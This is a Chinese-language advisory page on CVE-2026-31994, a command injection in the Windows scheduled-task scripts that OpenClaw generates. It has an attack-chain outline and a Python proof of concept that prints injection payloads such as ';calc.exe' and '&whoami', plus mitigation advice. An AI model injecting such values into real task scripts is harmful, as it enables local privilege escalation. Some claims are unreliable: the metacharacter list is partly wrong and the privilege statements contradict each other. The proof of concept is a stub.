IPBUF安全漏洞报告
English
CVE-2026-31994 CVSS 7.1 高危

CVE-2026-31994 OpenClaw Windows计划任务本地命令注入漏洞

披露日期: 2026-03-19

漏洞信息

漏洞编号
CVE-2026-31994
漏洞类型
命令注入
CVSS评分
7.1 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

命令注入本地提权计划任务OpenClawWindowsCVE-2026-31994元字符注入批处理脚本

漏洞概述

OpenClaw 2026.2.19之前版本存在本地命令注入漏洞。该漏洞源于Windows计划任务脚本生成过程中对gateway.cmd文件中cmd元字符和扩展敏感字符的不安全处理。攻击者通过控制服务脚本生成参数,利用元字符或CR/LF序列注入任意命令,在计划任务上下文中执行未授权代码。由于该漏洞需要本地访问权限,攻击复杂度较低,且可导致高完整性影响和高可用性影响,因此被评定为高危漏洞。攻击者无需特殊权限即可利用此漏洞,对系统安全造成严重威胁。

技术细节

漏洞存在于OpenClaw的Windows计划任务脚本生成模块。当处理gateway.cmd文件时,程序未能正确过滤或转义cmd元字符(如|、&、;、$、``等)以及CR/LF换行序列。攻击者可通过控制服务脚本生成参数,传入包含元字符的值或特殊换行序列,这些内容会被直接拼接到计划任务的批处理脚本中。生成的脚本被执行时,注入的命令将以计划任务服务账户的权限运行,实现本地权限提升和命令注入攻击。漏洞利用的关键在于cmd.exe对特殊字符的解析机制,攻击者可利用管道操作符连接多条命令,或使用换行符在脚本中插入额外命令。

攻击链分析

STEP 1
步骤1
攻击者获取OpenClaw系统的本地访问权限
STEP 2
步骤2
攻击者识别gateway.cmd文件处理逻辑,找到可控制的脚本生成参数
STEP 3
步骤3
攻击者构造包含cmd元字符(如;、&、|)或CR/LF序列的恶意输入
STEP 4
步骤4
将恶意参数注入到服务脚本生成过程,触发计划任务脚本更新
STEP 5
步骤5
当计划任务执行时,注入的命令在服务账户上下文中运行
STEP 6
步骤6
攻击者实现本地权限提升或执行任意系统命令

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-31994 PoC - Local Command Injection in OpenClaw # Target: OpenClaw < 2026.2.19 # Attack Vector: Malicious gateway.cmd script generation import subprocess import os def exploit_openclaw_command_injection(target_path): """ Simulate command injection via gateway.cmd metacharacters. Replace actual values with malicious cmd metacharacters. """ # Malicious payload using cmd metacharacters # Inject arbitrary command via command separator malicious_arg = ";calc.exe" # Alternative: Use newlines to inject additional commands # CR/LF injection payload newline_payload = "%0Acalc.exe" # Alternative: Command chaining with & chained_payload = "&whoami" print(f"[*] Simulating command injection with payload: {malicious_arg}") # The vulnerable code would generate a scheduled task script like: # @echo off # gateway.cmd <user_controlled_input> # If input contains ;calc.exe, it executes calc.exe vulnerable_script = f""" @echo off gateway.cmd {malicious_arg} """ print(f"[+] Vulnerable script content:") print(vulnerable_script) print("[*] When executed, the injected command (calc.exe) will run") return True def verify_vulnerability(): """Verify if OpenClaw version is vulnerable""" # In real scenario, check OpenClaw version version = "2026.2.18" # Example vulnerable version vulnerable_versions = ["< 2026.2.19"] print(f"[*] Checking OpenClaw version: {version}") # Implementation depends on version detection method return True if __name__ == "__main__": print("=" * 60) print("CVE-2026-31994: OpenClaw Local Command Injection PoC") print("=" * 60) exploit_openclaw_command_injection("/path/to/openclaw/")

影响范围

OpenClaw < 2026.2.19

防御指南

临时缓解措施
立即将OpenClaw升级到2026.2.19或更高版本。在等待补丁期间,可通过限制gateway.cmd文件的写入权限、监控计划任务创建行为、以及使用应用白名单机制来降低风险。建议对所有涉及命令行参数的处理进行安全审计。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表